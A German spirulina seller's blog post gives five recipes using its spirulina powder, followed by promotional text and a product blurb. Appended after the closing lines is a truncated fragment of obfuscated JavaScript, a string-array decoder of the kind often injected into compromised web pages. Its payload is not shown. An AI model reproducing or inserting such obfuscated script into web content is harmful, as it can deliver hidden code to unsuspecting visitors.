Heute zeigen wir dir 5 einfache Spirulina-Rezepte, mit denen du deine Spirulina-Einnahme abwechslungsreich gestalten kannst. Dafür eignet sich unser Hawaiian Spirulina Pulver am besten. Alternativ kannst du auch unsere Spirulina Tabletten mit einem Messer zerkleinern und verwenden. 1. Extra grüne Guacamole Unser erstes Spirulina-Rezept stammt aus der mexikanischen Küche: perfekt als leckerer Aufstrich oder Dip zu deftigen Speisen sowie Nachos. Zutaten 1 Avocado, reif 1 Tomate, entkernt und klein gewürfelt 1/2 Limette 1 Knoblauchzehe 1/2 EL Spirulina Pulver 1/2 EL Naturjoghurt Salz und Pfeffer Zubereitung Halbiere die Avocado, löse das Fruchtfleisch von der Schale und gebe es in eine Schüssel. Anschließend zerdrückst du das Fruchtfleisch mit einer Gabel, bis es zu einem feinen Brei geworden ist. Dazu kommt der Saft einer halben Limette, die klein gewürfelte Tomate und eine gepresste Knoblauchzehe. Nun fehlt nur noch das Spirulina Pulver sowie etwas Salz und Pfeffer. Jetzt musst du alles gut vermengen und schon kannst du die Guacamole genießen. Tipp: Wenn du den Dip cremiger haben möchtest, kannst du noch etwas Naturjoghurt hinzugeben. 2. Grüne Pancakes Diese Pancakes eignen sich hervorragend als Frühstück oder Nachtisch. Sie sehen durch das Spirulina Pulver nicht nur schön aus, sondern sind auch reich an Nährstoffen. Zutaten 150 g Mehl 2 El Backpulver Prise Salz 2 TL Spirulina Pulver 200 ml Milch 2 Eier 2 TL Agavendicksaft Obst deiner Wahl als Topping Zubereitung Zuerst vermengst du alle trockenen Zutaten und gibst dann unter ständigem Rühren die Milch, die Eier und den Agavendicksaft dazu. Wenn der Teig eine zähflüssige Konsistenz hat, brätst du ihn portionsweise in etwas Kokosöl an und garnierst die fertigen Pancakes am Ende mit Früchten deiner Wahl. 3. Spirulina-Kaffee-Shake Das dritte Rezept mit unserem Hawaiian Spirulina ist dieser Kaffee-Shake. Er ist eine leckere Alternative zu einem einfachen Smoothie, um mit mehr Energie in den Tag zu starten. Zutaten 150 ml Milch deiner Wahl 1 Espresso 1 TL Spirulina Pulver 1 Banane, in Stückchen gefroren 15 g Mandelmus 1/4 Avocado (optional) Zubereitung Zuerst gibst du die gefrorene Banane und das Mandelmus mit etwas Milch in einen Mixer und zerkleinerst sie. Danach den Espresso, das Spirulina Pulver und die restliche Milch hinzugeben und vermengen. Schon kannst du deinen Smoothie trinken und genießen. Tipp: Wenn du den Smoothie etwas dickflüssiger und cremiger möchtest, zum Beispiel für eine Bowl, kannst du zusätzlich zu der Banane noch etwas Avocado hinzugeben. 4. Erbsensuppe mit Extra-Kick Erbsen sind lecker und enthalten viele Nähr- und Ballaststoffe. Diese Suppe ist einfach in der Zubereitung und erhält durch das Spirulina einen Extra-Kick. Zutaten 500 g Erbsen (frisch, vorgekocht oder tiefgefroren) 1 Zwiebel 1 Knoblauchzehe 1 Bund Petersilie 1 l Wasser 50 ml Milch deiner Wahl 1 EL Spirulina Pulver Salz und Pfeffer Schmand oder Sahne (optional) Zubereitung Schäle die Zwiebel, schneide sie in kleine Würfel und dünste sie in einem Topf glasig an. Danach gibst du den gepressten Knoblauch, die gekochten Erbsen und die frischen Kräuter hinzu und brätst alles ca. 5 Minuten an. Jetzt kannst du das Wasser sowie die Milch hinzugeben und alles zusammen für 10 Minuten köcheln. Probiere dann eine der Erbsen, ob sie schön weich ist. Nun fehlt nur noch das Spirulina Pulver und schon kannst du alles fein pürieren. Die Suppe mit Salz und Pfeffer abschmecken. Tipp: Zum Schluss kannst du die Suppe mit etwas Schmand oder Sahne verfeinern und servieren. 5. Spirulina-Limetten-Torte Diese Torte ist vielleicht etwas aufwendiger als unsere anderen Spirulina-Rezepte, allerdings gelingt sie ganz ohne backen. Sie ist eine tolle Abwechslung zu den üblichen Nachspeisen. Zutaten Für den Boden: 150 g Walnüsse 2 EL Kakao 2 EL Dattelsirup 1 Prise Vanille-Extrakt Für das Topping: 100 g Cashewnüsse 1 Avocado 2 Limetten 2 EL Wasser 1 Prise Vanille-Extrakt 70 Agavensirup 2 EL brauner Zucker 1 EL Spirulina Pulver 1 EL Kakaopulver Zubereitung Die Cashewnüsse über Nacht in Wasser einweichen. Die Walnüsse mahlen und anschließend mit Kakao, Dattelsirup und der Vanille im Mixer zu einem festen Teig kneten. Lege eine kleine Backform mit Backpapier aus und drücke den Teig in die Form. An der Seite formst du einen ca. 1 cm hohen Rand und stellst die Form kalt. Für das Topping gibst du die Cashews mit Wasser und Limettensaft in einen Mixer, bis es cremig ist. Dazu kommen die Avocado, der Agavensirup und das Vanille-Extrakt, sowie das Spirulina Pulver, der Zucker und Kakao. Tipp: Für den vollen Genuss die Torte bis zum Verzehr kalt stellen. Unser Spirulina Pulver Hier erhältst du unser vielseitiges Hawaiian Spirulina Wir hoffen, dass dir unsere 5 Spirulina-Rezepte gefallen haben. Verlinke uns gerne in deiner Story auf Instagram oder markiere uns bei deinem Post, wenn du die Rezepte mit Spirulina nachgemacht hast. Du möchtest noch 3 weitere leckere Rezepte mit Extra-Kick kennenlernen? Dann schau doch mal bei diesem Blogbeitrag vorbei. Wir wünschen dir viel Spaß beim Nachmachen unserer Spirulina-Rezepte und einen guten Appetit! function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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Ivarsson.
AQUAFLOR Spirulina Tabletten in der 150 g Dose sind ein Nahrungsergänzungsmittel mit Vitamin B12 aus der Spirulina Alge.
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